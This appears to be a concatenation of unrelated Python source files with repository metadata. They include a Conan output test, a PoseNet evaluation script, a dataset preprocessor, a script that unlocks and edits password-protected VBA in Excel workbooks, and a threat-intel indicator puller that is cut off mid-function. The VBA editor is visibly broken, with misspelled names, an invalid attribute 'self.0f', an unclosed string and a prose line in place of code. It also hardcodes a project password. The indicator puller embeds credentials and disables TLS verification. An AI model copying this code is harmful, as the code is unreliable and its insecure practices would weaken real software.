# -*- coding: utf-8 -*- import unittest from conans.client.output import ConanOutput from six import StringIO from conans.client.rest.uploader_downloader import print_progress from conans.test.utils.test_files import temp_folder from conans import tools import zipfile import os from conans.util.files import save, load import sys from conans.test.utils.tools import TestClient class OutputTest(unittest.TestCase): def simple_output_test(self): stream = StringIO() output = ConanOutput(stream) output.rewrite_line("This is a very long line that has to be truncated somewhere, " "because it is so long it doesn't fit in the output terminal") self.assertIn("This is a very long line that ha ... esn't fit in the output terminal", stream.getvalue()) def error_test(self): client = TestClient() conanfile = """ # -*- coding: utf-8 -*- from conans import ConanFile from conans.errors import ConanException class PkgConan(ConanFile): def source(self): self.output.info("TEXT ÑÜíóúéáàèòù абвгдежзийкл 做戏之说 ENDTEXT") """ client.save({"conanfile.py": conanfile}) client.run("source") self.assertIn("TEXT", client.user_io.out) self.assertIn("ENDTEXT", client.user_io.out) def print_progress_test(self): stream = StringIO() output = ConanOutput(stream) for units in range(50): print_progress(output, units) output_str = stream.getvalue() self.assertNotIn("=", output_str) self.assertNotIn("[", output_str) self.assertNotIn("]", output_str) def unzip_output_test(self): tmp_dir = temp_folder() file_path = os.path.join(tmp_dir, "example.txt") save(file_path, "Hello world!") zip_path = os.path.join(tmp_dir, 'example.zip') zipf = zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) for root, _, files in os.walk(tmp_dir): for f in files: zipf.write(os.path.join(root, f), f) zipf.close() output_dir = os.path.join(tmp_dir, "output_dir") new_out = StringIO() old_out = sys.stdout try: sys.stdout = new_out tools.unzip(zip_path, output_dir) finally: sys.stdout = old_out output = new_out.getvalue() self.assertRegexpMatches(output, "Unzipping [\d]+ bytes, this can take a while") content = load(os.path.join(output_dir, "example.txt")) self.assertEqual(content, "Hello world!")
[ "lasote@gmail.com" ]
lasote@gmail.com
7a0a3b166c74d76a97a3cf2dd59fa5948907f805
ecda8b2158fae86c7d5f74c4b2d138fb44db7e1c
/test.py
f5251f7c1adc1e2adc854244d6effe2d6b30d85d
[]
no_license
hyeineee/COVID__
732b69f98951ee895ddd46d620c8f693c028130a
da3ad627f9c166d699f880de33bf6715723b737d
refs/heads/master
2022-11-26T19:24:20.162902
2020-08-11T02:56:11
2020-08-11T02:56:11
286,629,512
0
0
null
null
null
null
UTF-8
Python
false
false
74
py
def main(): print("1") #test if __name__ == "__main__": main()
[ "qorgpdls97@naver.com" ]
qorgpdls97@naver.com
194d85d0f80ef569c614a64fab89b028bebb7e25
d4239e239bab52585a2e4409353a6312f5f3f351
/VBACodesEditor.py
1478a84a4bcbfdf44a420a36c1422c589dfda133
[]
no_license
Liu373/Python_VBACodesEditor
03d10d8f509766ce43b22a60d3559cb8c2698689
7bc5fed35f1b1f8cba4c86fff257e3c18930ae04
refs/heads/main
2023-08-11T12:12:28.882375
2021-09-21T14:13:45
2021-09-21T14:13:45
401,190,107
1
0
null
null
null
null
UTF-8
Python
false
false
22,377
py
import comtypes.client import win32con import win32com.client import commctrl import time import threading import win32gui import os import tkinter as tk from tkinter import ttk import glob import logging import ctypes user32 = comtypes.windll.user32 flag = False dir_path = os.path.dirname(os.path.realpath('__file__')) class ProjectConstants: password = '063' timeout_second = 100 fail_sleep_duration_second = 0.1 class WaitException(Exception): pass def raw_str(string): return comtypes.c_char_p(bytes(string, 'utf-8')) def sleep(): time.sleep(ProjectConstants.fail_sleep_duration_second) def unlock_vba_project(application): id_password = 0x155e id_ok = 1 password_window = user32.FindWindowA(None, raw_str("VBAProject Password")) if password_window == 0: raise WaitException("Fail to Find Password Window") print("Found Password Window") user32.SendMessageA(password_window, commctrl.TCM_SETCURFOCUS, 1, 0) text_box = user32.GetDlgItem(passowrd_window, id_password) ok_button = user32.GetDlgItem(password_window, id_ok) if text_box == 0 and ok_button == 0: raise WaitException("Fail to Find Textbox and OK Button in Password Window") user32.SetFocus(text_box) user32.SendMessageA(text_box, win32com.WM_SETTEXT, None, raw_str(ProjectConstants.password)) Length = user32.SendMessageA(text_box, win32com.WM_GETTEXTLENGTH) if length != len(ProjectConstants.password): raise WaitException("Fail to Verify Password Length") user32.SetFocus(ok_button) user32.SendMessageA(ok_button, win32con.BM_CLICK, 0, 0) return True def close_vba_project_window(application): id_ok = 1 password_window = user32.FindWindowA(None, raw_str("VBAProject - Project Properties")) if password_window == 0: raise WaitException("Fail to Find Project Properties Window to Close") print("Found Project Properties Window to Close") user32.SendMessageA(password_window, commctrl.TCM_SETCURFOCUS, 1, 0) ok_button = user32.GetDlgItem(password_window, id_ok) if ok_button == 0: raise WaitExceptiion("Fail to find ok button in project properties window") user32.SetFocus(ok_button) user32.SendMessageA(ok_button, win32con.BM_ClICK, 0) def lock_vba_project(application): id_ok = 1 id_tabcontrol = 0x3020 id_subdialog = 0x8002 id_checkbox_lock = 0x1557 id_textbox_pass1 = 0x1555 id_textbox_pass2 = 0x1556 password_window = user32.FindWindowA(None, raw_str("VBA Project - Project Properties")) if password_window == 0: raise WaitException("Fail to find project properties window") print("Found project properties window") tabcontrol = user32.GetDlgItem(password_window, id_tabcontrol) user32.SendMessageA(tabcontrol, commctrl.TCM_SETCURFOCUS, 1, 0) if user32.SendMessageA(tabcontrol, commctrl.TCM_GETCURFOCUS) != 1: raise WaitException("Fail to change tab control") subdialog = user32.FindWindowExA(password_window, 0, id_subdialog, None) if subdialog == 0: raise WaitException("Fail to find subdialog") checkbox_lock = user32.GetDlgItem(subdialog, id_checkbox_lock) if checkbox_lock == 0: raise WaitException("Fail to find checkbox") user32.SetFocus(checkbox_lock) user32.SendMessageA(checkbox_lock, win32con.BM_SETCHECK, win32con.BST_CHECKED, 0) checkbox_state = user32.SendMessageA(checkbox_lock, win32con.BM_GETCHECK) if checkbox_state != win32con.BST_CHECKED: raise WaitException("Fail to activate checkbox") textbox_pass1 = user32.GetDlgItem(subdialog, id_textbox_pass1) if textbox_pass1 == 0: raise WaitException("Fail to find password box 1") user32.SetFocus(textbox_pass1) user32.SendMessageA(textbox_pass1, win32con.WM_SETTEXT, None, raw_str(ProjectConstants.password)) length = user32SendMessage(textbox_pass1, win32con.WM_GETTEXTLENGTH) if length != len("063"): raise WaitException("Fail to complete password box 1") textbox_pass2 = user32.GetDlgItem(subdialog, id_textbox_pass2) user32.SetFocus(textbox_pass2) if textbox_pass2 == 0: raise WaitException("Fail to find password box 2") user32.SetFocus(textbox_pass2) user32.SendMessageA(textbox_pass2, win32con.WM_SETTEXT, None, raw_str(ProjectConstants.password)) length = user32SendMessage(textbox_pass2, win32con.WM_GETTEXTLENGTH) if length != len("063"): raise WaitException("Fail to complete password box 2") ok_button = user32.GetDlgItem(password_window, id_ok) if ok_button == 0: raise WaitException("Fail to find OK button") user32.SetFocus(ok_button) user32.SendMessageA(ok_button, win32con.BM_CLICK, 0) return True def extract_lookup(col_index, row_range, ws): return [data.Value for data in [ws.Range(loc) for loc in [str(col_index) + str(ii) for ii in row_range]]] def wait_loop(timeout_sec, application, func): timeout = time.time() + timeout_sec while time.time() < timeout: try: done_run = func(application) if done_run: break except WaitException as e: print(str(e)) sleep() def change_property_data(wb_, new_p_version_): property_ws = wb_.Worksheets("Property Data") cell = property_ws.Range("B32") cell.Value = new_p_version_ def change_reference_tables(wb_): ref_key_col = 'AI' ref_val_col = 'AJ' ref_start_row = 3 ref_end_row = 24 to_replace = {'Undoubted: 8.0 'Unrated > 5 years': 3.0, 'Large pool': 6.0, 'Small pool': 3.0} reference_ws = wb_.Worksheets("Reference Tables") row_range = range(ref_start_row, ref_end_row + 1) lookup_keys = extract_lookup(ref_key_col, row_range, reference_ws) lookup_values = extract_lookup(ref_val_col, row_range, reference_ws) original_values = dict(zip(lookup_keys, lookup_values)) new_values = original_values.copy() for k, v in to_replace.items(): new_values[k] = v for i, k in zip(row_range, lookup_keys): reference_ws.Range(str(ref_val_col) + str(i)).Value = new_values[k] def change_debt_Formula(wb_): formula_ws = wb_.Worksheets("Debt") for i in range(2, 6): cell1 = formula_ws.Range("O{0}".format(i)) cell2 = formula_ws.Range("P{0}".format(i)) Formula1 = "=IFERROR(-PMT(XXXXXXXX)".format(i) Formula2 = same as above cell1.Value = Formula1 cell2.Value = Formula2 time.sleep(3) def change_vba_prologue(app_, timeout_second_): app_.CommandBars.ExecuteMso("ViewCode") wait_loop(timeout_second_, app_, unlock_vba_project) wait_loop(timeout_second_, app_, close_vba_project_window) def change_vba(wb_, old_c_version_, new_c_version_): match = old_c_version_ replacement = new_c_version_ code_base = wb_.VBAProject.VBComponents("Complete").CodeModule startrow = 0 while True: success, startrow, startcol, endrow, endcol = code_base.Find(match, startrow +1, 1, -1, -1) if not success: break old_line = code_base.Lines(startrow, 1) new_line = old_line[:startcol - 1] + replacement + old_line[endcol - 1:] code_base.ReplaceLine(startrow, new_line) def change_vba_formula(wb_, old_intersect1, old_intersect2, old_intersect3): match1 = old_intersect1 match2 = old_intersect2 match3 = old_intersect3 code_base = wb_.VBAProject.VBAComponents("Sheet03").CodeModule startrow = 0 while True: success, startrow, startcol, endrow, endcol = code_base.Find(match1, startrow +1, 1, -1, -1) if not success: break new_line = "'" + match1 code_base.ReplaceLine(startrow, new_line) startrow = 0 while True: success, startrow, startcol, endrow, endcol = code_base.Find(match2, startrow +1, 1, -1, -1) if not success: break new_line = "'" + match2 code_base.ReplaceLine(startrow, new_line) new_line = "'" + match3 code_base.ReplaceLine(startrow, new_line) time.sleep(2) def change_back_vba_formula(wb_, new_intersect1, new_intersect2, old_intersect1, old_intersect2, old_intersect3): match1 = new_intersect1 match2 = new_intersect2 code_base = wb_.VBProject.VBComponents("Sheet03").CodeModule startrow = 0 while True: success, startrow, startcol, endrow, endcol = code_base.Find(match1, startrow +1, 1, -1, -1) if not success: break new_line = old_intersect1 code_base.ReplaceLine(startrow, new_line) startrow = 0 while True: success, startrow, startcol, endrow, endcol = code_base.Find(match2, startrow +1, 1, -1, -1) if not success: break new_line = old_intersect2 code_base.ReplaceLine(startrow, new_line) new_line = old_intersect3 code_base.ReplaceLine(startrow, new_line) time.sleep(2) def change_vba_epilogue(app_, timeout_second_): id_project_properties = 2578 app_.VBE.CommandBars.FindControl(Id=id_project_properties).Execute() wait_loop(timeout_second_, app_, lock_vba_project) def terminate(): global flag while (1): hwnd = win32gui.FindWindow(None, 'VBAProject Password') if hwnd != 0: print("\n") print("\n") print("Found Password Window") id_password = 0x155e id_ok = 1 text_box = user32.GetDlgItem(hwnd, id_password) ok_button = user32.GetDlgItem(hwnd, id_ok) if text_box == 0 and ok_button == 0: raise WaitException("Fail to find textbox and okbutton in password window") user32.SetFocus(text_box) user32.SendMessageA(text_box, win32con.WM_SETTEXT, None, raw_str(ProjectConstants.password)) user32.SetFocus(ok_button) user32.SendMessageA(ok_button, win32con.BM_CLICK, 0, 0) break if flag == True: break class run_main: def __init__(self, entry, root): self.entry = entry self.root = root self.sf = ' ' self.of = ' ' def main(self): my_progress['value'] = 10 self.root.update_idletasks() app = win32com.client.DispatchEx('Excel.Application') app.Visible = False Path = self.entry['Folder_Path'].get() logfile = dir_path + '\\Excel_Editor_Automation.log' new_p_version = 'Version: 1.3' old_c_version = 'Completed-V2' new_c_version = 'Completed-V3' new_e_version = '1.3' match1 = 'If Not Application.Intersect(ActiveCell, Range("B2:X45")) Is Nothing Then' match2 = 'Sheet3.Range("A4").ClearContents' match3 = 'End If' new_match1 = "'" + match1 new_match2 = "'" + match2 LOG_FORMAT = "%(levelname)s:%(asctime)s:%(message)s" try: logging.basicConfig(filename = logfile, level = logging.DEBUG, format = LOG_FORMAT, filemode = 'w') logger = logging.getLogger() except Exception as e: ctypes.windll.user32.MessageBox(0, 'Issue for creating log file', 'Warning', 1) logger.warning('Issue for creating log file') logger.warning(e) quit(self.root) my_progreww['value'] = 20 self.root.upadte_idletasks() i = 0 logger.info("Pre-Varibles are set up and will start the 'for' loop") for f in os.listdir(Path): if f.endswith(".xlsm"): inp = Path + '\\' + f outp = Path + '\\Output' + "(Converted_NewVersion_{0})_",format(new_e_version) + f xlsmCounter = len(glob.glob1(Path, "*.xlsm")) increment = (90-20)/xlsmCounter logger.info("Forloop-Variables are set up") my_progress['value'] = my_progress['value'] + increment self.root.update_idletasks() try: wb = app.Workbooks.Open(inp) time.sleep(5) except Exception as e: ctypes.windll.user32.MessageBoxW(0, "{0} is not found or opened".format(f), "warning", 1) logger.warning("{0} is not found or opened".format(f)) logger.warning(e) wb.Close(False) app.Quit() continue try: wb.Unprotect(ProjectConstants.password) time.sleep(1) logger.info("{0} has been unprotected".format(f)) except Exception as e: ctypes.windll.user32.MessageBoxW(0, "{0} can not be unprotected".format(f), "warning", 1) logger.warning("{0} can not be unprotected".format(f)) logger.warning(e) wb.Close(False) app.Quit() continue try: change_property_data(wb, new_p_version) time.sleep(1) logger.info("{0}'s Property Data Tab has been updated".format(f)) except Exception as e: ctypes.windll.user32.MessageBoxW(0, "{0}'s Property Data Tab can not be updated".format(f), "warning", 1) logger.warning("{0}'s Property Data Tab can not be updated".format(f)) logger.warning(e) wb.Close(False) app.Quit() continue try: change_reference_tables(wb) time.sleep(1) logger.info("{0}'s Reference Data Tab has been updated".format(f)) except Exception as e: ctypes.windll.user32.MessageBoxW(0, "{0}'s Reference Data Tab can not be updated".format(f), "warning", 1) logger.warning("{0}'s Reference Data Tab can not be updated".format(f)) logger.warning(e) wb.Close(False) app.Quit() continue t = threading.Thread(target = terminate) t.start() try: app.CommandBars.ExecuteMso("ViewCode") except: t.join() None if t.is_alive(): t.join() time.sleep(1) try: change_vba(wb, old_c_version, new_c_version) time.sleep(1) logger.info("{0}'s VBA has been updated".format(f)) except Exception as e: ctypes.windll.user32.MessageBoxW(0, "{0}'s VBA can not be updated".format(f), "warning", 1) logger.warning("{0}'s VBA can not be updated".format(f)) logger.warning(e) wb.Close(False) app.Quit() continue try: change_vba_formula(wb, match1, match2, match3) time.sleep(1) logger.info("{0}'s VBA Debt Formula has been Commented".format(f)) except Exception as e: ctypes.windll.user32.MessageBoxW(0, "{0}'s VBA Debt Formula can not be commented".format(f), "warning", 1) logger.warning("{0}'s VBA Debt Formula can not be commented".format(f)) logger.warning(e) wb.Close(False) app.Quit() continue try: change_debt_formula(wb) time.sleep(1) logger.info("{0}'s Debt Tab Formula has been updated".format(f)) except Exception as e: ctypes.windll.user32.MessageBoxW(0, "{0}'s Debt Tab Formula can not be updated".format(f), "warning", 1) logger.warning("{0}'s Debt Tab Formula can not be updated".format(f)) logger.warning(e) wb.Close(False) app.Quit() continue try: change_back_vba_formula(wb, new_match1, new_match2, match1, match2, match3) time.sleep(1) logger.info("{0}'s VBA Debt Formula has been changed back".format(f)) except Exception as e: ctypes.windll.user32.MessageBoxW(0, "{0}'s VBA Debt Formula can not be changed back".format(f), "warning", 1) logger.warning("{0}'s VBA Debt Formula can not be changed back".format(f)) logger.warning(e) wb.Close(False) app.Quit() continue wb.Protect(ProjectConstants.password) time.sleep(1) logger.info("{0} has been re-protected".format(f)) app.DisplayAlerts = False try: wb.SaveAs(Filename = outp) time.sleep(1) logger.info("{0} has been saved".format(f)) except Exception as e: ctypes.windll.user32.MessageBoxW(0, "{0} can not be saved as".format(f), "warning", 1) logger.warning("{0} can not be saved as".format(f)) logger.warning(e) wb.Close(False) app.Quit() continue app.DisplayAlert = True wb.Close() app.Quit() i += 1 logger.info("{0}'s updates are done".format(f)) if i == 0: ctypes.windll.user32.MessageBoxW(0, "No file is updated or No xlsm file has been found in the folder", "info", 1) logger.warning("No file starting with 'EMV' has been found in the folder. Check your Path again") quit(self.root) my_progress['value'] = 100 self.root.update_idletasks() original_files = len(glob.glob1(path, "*.xlsm")) logger.info("The Whole Process Completed") print("\n") print("\n") print("-"*50) print("\n") print("The work is done") print("\n") print("-"*50) self.sf = i self.0f = original_files time.sleep(2) def message(self): self.main() ctypes.windll.user32.MessageBoxW(0, "Process completed! You've successfully converted {0} out of {1} files".format(self.sf, self.of), "info", 1) def makeform(root): entries = {} lab = tk.Label(root, width=18, text='Folder Path:', font=(None, 10, 'bold'), anchor='w', fg='White', bg='black') lab.place(x=30, y=30) lab = tk.Label(root, width=18, text='Progress Bar:', font=(None, 10, 'bold'), anchor='w', fg='White', bg='black') lab.place(x=30, y=130) folder_path_text = tk.StringVar() folder_path_entry = tk.Entry(root, textvariable=folder_path_text) folder_path_entry.place(x=150, y=30, width=700, height=25) entries['Folder_Path'] = folder_path_entry return entries def quit(root): root.destory() root = tk.Tk() w = 900 h = 180 ws = root.winfo_screenwidth() hs = root.winfo_screenheight() x = (ws/2) - (w/2) y = (hs/2) - (h/2) root.geometry("%dx%d+%d+%d" % (w, h, x, y)) root.configure(background='black') root.attributes('-alpha', 0.90) file_location = makeform(root) my_progress = ttk.Progressbar(root, orient=tk.HORIZONTAL, length=300, mode="determinate") my_progress.place(x=150, y=130) Quick = tk.Button(root, text="Quit", command=lambda root=root: quit(root), height=1, width=10, bg='White', fg='Black', font=(None, 10, 'bold')) Quick.place(x=260, y=80) Submit = tk.Button(root, text="Run", command=lambda e=file_location, root=root: [run_main(e, root).message()], height=1, width=10, bg="White", fg="Black", fond=(None, 10, 'bold')) Submit.place(x=150, y=80) root.mainloop()
[ "noreply@github.com" ]
noreply@github.com
49377535fc22c5ee93cad59f6aa76251d7a6bdee
451c79cfe8cbf4a9e4301c8b8c8c4c99768274c1
/posenet_pytorch_evaluate.py
d0b7a83e5d6017047b66c3a55a5b58e5cb4a9eeb
[]
no_license
wang422003/Code_Master_Thesis
0662f41e24cb169b2e62215898037cae70e37cef
62735f606b2220003b5d1aed0cb2f1330c4453d7
refs/heads/master
2022-04-17T18:43:41.462140
2020-04-16T14:31:52
2020-04-16T14:31:52
256,230,086
0
0
null
null
null
null
UTF-8
Python
false
false
3,481
py
import os import argparse from pytorch_data import get_loader from posenet_torch_solver import SolverPoseNetEvaluate from torch.backends import cudnn def main(config): cudnn.benchmark = True data_loader = get_loader(config.model, config.image_path, config.metadata_path, config.mode, config.batch_size, config.shuffle) solver = SolverPoseNetEvaluate(data_loader, config) if config.mode == 'train': solver.train() elif config.mode == 'test': solver.evaluate() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--mode', type=str, default='test', choices=['train', 'test']) parser.add_argument('--bayesian', type=bool, default=False, help='Bayesian Posenet, True or False') parser.add_argument('--sequential_mode', type=str, default=None, choices=[None, 'model', 'fixed_weight', 'batch_size', 'learning_rate', 'beta']) parser.add_argument('--lr', type=float, default=0.0001) parser.add_argument('--sx', type=float, default=0.0) parser.add_argument('--sq', type=float, default=0.0) parser.add_argument('--learn_beta', type=bool, default=False) parser.add_argument('--dropout_rate', type=float, default=0.5, help='range 0.0 to 1.0') parser.add_argument('--shuffle', type=bool, default=True) parser.add_argument('--fixed_weight', type=bool, default=False) parser.add_argument('--model', type=str, default='Resnet', choices=['Googlenet', 'Resnet']) parser.add_argument('--pretrained_model', type=str, default=None) # parser.add_argument('--image_path', type=str, default='/mnt/data2/image_based_localization/posenet/KingsCollege') # parser.add_argument('--image_path', type=str, default='/mnt/data2/complex_urban/urban08') parser.add_argument('--image_path', type=str, default='/mnt/data2/NCLT') # parser.add_argument('--metadata_path', type=str, # default='/mnt/data2/image_based_localization/posenet/KingsCollege/dataset_test.txt') parser.add_argument('--metadata_path', type=str, default='/mnt/data2/NCLT/test.txt') # parser.add_argument('--metadata_path', type=str, # default='/mnt/data2/complex_urban/urban08/image_convert/test.txt') # Training settings parser.add_argument('--gpu_ids', type=str, default='0', help='gpu ids: e.g. 0 1 2 3') # parser.add_argument('--dataset', type=str, default='Oxford', choices=['NCLT', 'VKITTI', 'Oxford', 'QUT']) parser.add_argument('--num_epochs', type=int, default=80) parser.add_argument('--num_epochs_decay', type=int, default=10) parser.add_argument('--num_iters', type=int, default=200000) # 200000 parser.add_argument('--num_iters_decay', type=int, default=100000) parser.add_argument('--batch_size', type=int, default=3) # 16 parser.add_argument('--num_workers', type=int, default=1) # Test settings parser.add_argument('--test_model', type=str, default='99') parser.add_argument('--save_result', type=bool, default=True) # Misc parser.add_argument('--use_tensorboard', type=bool, default=True) # Step size parser.add_argument('--log_step', type=int, default=10) parser.add_argument('--sample_step', type=int, default=1000) parser.add_argument('--model_save_step', type=int, default=1000) config = parser.parse_args() main(config) print("Evaluation is finished!")
[ "noreply@github.com" ]
noreply@github.com
48a73da0886034bf90716950527d561d32bbab82
dce8531d0e9665a09205f70a909ac1424f7e09eb
/preprocess.py
d6a53884fddf97d075c2264cc801f41dff0d4b95
[ "MIT" ]
permissive
keonlee9420/Comprehensive-Tacotron2
40a6e5fcecf55ee02a8523a7e2701b6124748bee
1eff7f08c41a2127bbe300b6d66ce5c966422b25
refs/heads/main
2023-08-07T16:10:15.133301
2022-02-20T14:30:07
2022-02-20T14:44:36
388,990,172
39
17
MIT
2023-07-31T13:08:05
2021-07-24T03:36:08
Python
UTF-8
Python
false
false
640
py
import argparse from utils.tools import get_configs_of from preprocessor import ljspeech, vctk def main(config): if "LJSpeech" in config["dataset"]: preprocessor = ljspeech.Preprocessor(config) if "VCTK" in config["dataset"]: preprocessor = vctk.Preprocessor(config) preprocessor.build_from_path() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument( "--dataset", type=str, required=True, help="name of dataset", ) args = parser.parse_args() preprocess_config, *_ = get_configs_of(args.dataset) main(preprocess_config)
[ "keonlee9420@gmail.com" ]
keonlee9420@gmail.com
e3c70a06800823605b23e90caeeb6c3cb91014cd
ca7d9df0890b0eed1b153737bc67afcd5494d11e
/iocpuller.py
9461edc31b6e0e7e00f513b673acc24a4ff58bd6
[]
no_license
KMCGamer/iocpuller
b219bdaf5ca412c9b910a3d46d911d079bb791f6
0c2ded1bb5f6611d932a5c62c7968f9fe949bfe8
refs/heads/master
2021-03-27T10:36:01.346459
2018-02-05T21:28:31
2018-02-05T21:28:31
120,359,665
0
0
null
null
null
null
UTF-8
Python
false
false
14,791
py
#!/usr/bin/python -u # -*- coding: utf-8 -*- import bisect import logging import re import requests import argparse class color: BOLD = '\033[1m' UNDERLINE = '\033[4m' END = '\033[0m' # ----------------------------------------------------------------------------- # Locations and Constants VERSION = "2.1.1" INTEL_HEADER = """#fields\tindicator\tindicator_type\tmeta.source\tmeta.do_notice # EXAMPLES: #66.32.119.38\tIntel::ADDR\tTest Address\tT #www.honeynet.org\tIntel::DOMAIN\tTest Domain\tT #4285358dd748ef74cb8161108e11cb73\tIntel::FILE_HASH\tTest MD5\tT """ USAGE_DESCRIPTION= \ """ {1}NAME{0} iocpuller - pulls ioc data from RT and places it into an intel file. {1}DESCRIPTION{0} {2}{1}NOTE: THIS SCRIPT MUST BE RUN AS ROOT.{0} Pulls ioc data from RT and places it into an intel file. The fields that are pulled are: - ioc.domain - ioc.attackerip - ioc.filehash The domains are run through a top website list and a whitelist. If there are any matches, they are not added to the intel file. You may also edit a whitelist to remove indicators from the intel file. {1}FUNCTIONS{0} {1}pull{0} {2}INTEL_FILE{0} {2}WEBSITES_FILE{0} Pull ioc data from RT while removing any top websites included in the top websites file and stores it in the intel file. {1}whitelist{0} Manage the whitelist file. Creates a new whitelist if there isnt one. {1}OPTIONS{0} {1}-h, --help{0} Display the manual page. {1}-v, --version{0} Display the current version. """.format(color.END, color.BOLD, color.UNDERLINE, VERSION) WHITELIST_LOCATION = "/usr/local/bin/iocwhitelist.txt" # intel.dat options INDICATOR_TYPE_DOMAIN = "DOMAIN" INDICATOR_TYPE_FILE_HASH = "FILE_HASH" INDICATOR_TYPE_IP = "ADDR" META_DO_NOTICE = "T" META_SOURCE = "RT_ID: " # RT options USER = "user" PASSWD = "pass" MIN_TICKET_NUM = "0" # ----------------------------------------------------------------------------- # Functions # Parses arguments from the command line. Takes in intel file and top website # file locations so it can run mostly anywhere. def parseArguments(): parser = argparse.ArgumentParser(description=USAGE_DESCRIPTION, formatter_class=argparse.RawTextHelpFormatter, add_help=False) parser.add_argument("-v", "--version", action='version', version='%(prog)s ' + VERSION) parser.add_argument("-h", "--help", action='version', version=USAGE_DESCRIPTION) # THIS IS A HACK. NO TOUCHIE THANK YOU. subparsers = parser.add_subparsers(dest='cmd') # pull command parser_pull = subparsers.add_parser('pull') parser_pull.add_argument('intel', metavar="<intel_file>") parser_pull.add_argument('top_website', metavar="<top_websites_file>") # whitelist command parser_whitelist = subparsers.add_parser('whitelist') args = parser.parse_args() return args # Makes a POST to RT with a field and puts the result in an array of strings # that have their ticket and values # field (string) = "CF.{ioc.domain}", "CF.{ioc.attackerip}", "CF.{ioc.filehash}" def pullListByField(field): # POST to get a list of all things based on a field. ex: CF.{ioc.domain} query = "'" + field + "'IS NOT NULL AND id > " + MIN_TICKET_NUM + " AND Status != 'rejected' AND Status != 'abandoned'" url = "https://12.34.56.78/REST/1.0/search/ticket?query=" + query + "&format=s&fields=" + field postResult = requests.post(url, {'user': USER, 'pass': PASSWD}, verify=False) postResultArray = postResult.text.splitlines() # remove first three lines and last two (response msg and empty lines) del postResultArray[0:3] del postResultArray[-1] del postResultArray[-1] return postResultArray # Parses the values of a post result array. Makes an array of arrays that contain # tickets and their values. # Takes in a post result (array) created by pullListByField() # return example: [[4044, "www.google.com"], [4045, "www.asdf.com"]] def parseValues(postResult): # split the values from their ticket ids idValueArray = [] for line in postResult: id = line.split("\t")[0] values = line.split("\t")[1] # split space delimited values if values.find(" ") != -1: valueArray = values.split(" ") for value in valueArray: idValueArray.append([id, value]) # split comma delimited values elif values.find(",") != -1: valueArray = values.split(",") for value in valueArray: idValueArray.append([id, value]) # add any other exception (single values) else: idValueArray.append([id, values]) return idValueArray # Removes duplicate values from a list while maintaining their id numbers def removeDuplicates(idValueArray): uniqueValues = [] uniqueIDValueArray = [] for segment in idValueArray: value = segment[1] # check if the value is unique (not seen before) if value not in uniqueValues: uniqueValues.append(value) uniqueIDValueArray.append(segment) return uniqueIDValueArray # checks if a value is in a whitelist def isInWhitelist(value): for indicator in whitelist: if indicator == value: return True return False def clearTerminal(): print "\033c" # returns an array of unique domains and their ids def getDomains(): # make the set unique, filter out any blank addresses, and websites in the list def filterDomains(domainArray): # checks the domain against a list using binary search def isInTopWebsiteList(domain): i = bisect.bisect_left(topWebsites, domain) if i != len(topWebsites) and topWebsites[i] == domain: return True else: return False # filter out any domain that has these characters: # '<', '>', '[', ']', '@', '/', '\', '=', '?' def containsIllegalChar(domain): if re.search('[\<\>\[\]\@\/\\\=\?]', domain) == None: return False else: return True # filters out IPs from the domain list def isIP(domain): if re.search('[a-zA-Z]', domain) == None: return True else: return False domainArray = removeDuplicates(domainArray) domainArray = filter(lambda x: not containsIllegalChar(x[1]), domainArray) domainArray = filter(lambda x: not isIP(x[1]), domainArray) domainArray = filter(lambda x: len(x[1]) > 3, domainArray) domainArray = filter(lambda x: not isInTopWebsiteList(x[1]), domainArray) domainArray = filter(lambda x: not isInWhitelist(x[1]), domainArray) return domainArray # get all domains with ticket ids postResultArray = pullListByField("CF.{ioc.domain}") # get all domains into a single array domainArray = parseValues(postResultArray) # filter domains and return the array return filterDomains(domainArray) # returns an array of unique file hashes and their ids def getFileHashes(): # get all hashes with ticket ids postResultArray = pullListByField("CF.{ioc.filehash}") # get all hashes into a single array hashArray = parseValues(postResultArray) # filter out any values that arent 32 length hashArray = removeDuplicates(hashArray) hashArray = filter(lambda x: len(x[1]) == 32, hashArray) hashArray = filter(lambda x: not isInWhitelist(x[1]), hashArray) return hashArray # returns an array of unique IPs and their ids def getIPS(): # get all ips with ticket ids postResultArray = pullListByField("CF.{ioc.attackerip}") # get all IPs into a single array IPArray = parseValues(postResultArray) IPArray = filter(lambda x: not isInWhitelist(x[1]), IPArray) # filter out any duplicate IPs return removeDuplicates(IPArray) # creates a string compatible to append to the indel.dat file def buildIntelString(value, type, source, notice): return value + "\t" + "Intel::" + type + "\t" + source + "\t" + notice # MAIN IOCPULLER FUNCTION. # calls all the other functions to pull ioc values from RT. def main(intelLocation, topWebsitesLocation): # disable some warnings logging.captureWarnings(True) # open intel.dat and top websites file try: intelFile = open(intelLocation, "w") intelFile.write(INTEL_HEADER) except Exception as e: print "There was an exception opening and writing to the intel file." print "Exception: {}\nExiting...".format(e) quit() try: with open(topWebsitesLocation, 'r') as websiteFile: # get top 10,000 websites and sort alphabetically global topWebsites topWebsites = (websiteFile.read()).splitlines()[:10000] topWebsites.sort() print "Read top websites file: {}".format(topWebsitesLocation) except Exception as e: print "There was an exception reading the top websites file." print "Exception: {}\nExiting...".format(e) quit() # open whitelist file global whitelist try: whitelistFile = open(WHITELIST_LOCATION, "r") whitelist = map(lambda x: x.rstrip('\r\n'), whitelistFile.readlines()) whitelistFile.close() except Exception as e: print "Warning: {}".format(e) print "Please create a whitelist using: 'iocpuller.py -w'\nExiting..." quit() # get all unique ioc.domain, ioc.filehash, and ioc.attackerip domains = getDomains() print "Successfully got ioc.domain list." IPS = getIPS() print "Successfully got ioc.attackerip list." fileHashes = getFileHashes() print "Successfully got ioc.filehash list." # write to intel file # first element in the array is the ticket, the second is the value for domain in domains: intelFile.write(buildIntelString(domain[1], INDICATOR_TYPE_DOMAIN, \ META_SOURCE + domain[0], META_DO_NOTICE) + "\n") for IP in IPS: intelFile.write(buildIntelString(IP[1], INDICATOR_TYPE_IP, \ META_SOURCE + IP[0], META_DO_NOTICE) + "\n") for filehash in fileHashes: intelFile.write(buildIntelString(filehash[1], INDICATOR_TYPE_FILE_HASH, \ META_SOURCE + filehash[0], META_DO_NOTICE) + "\n") print "Created intel file at location: {}".format(intelLocation) # close files intelFile.close() # Provides functionality to update a whitelist for the intel file def manageWhitelist(): def printWhitelist(): print "Total whitelisted indicators: [{}]".format(len(whitelist)) for idx, line in enumerate(whitelist): print "{}) {}".format(idx,line) print # clear the terminal clearTerminal() # Menu for manipulating the whitelist file menu = {} menu['1'] = 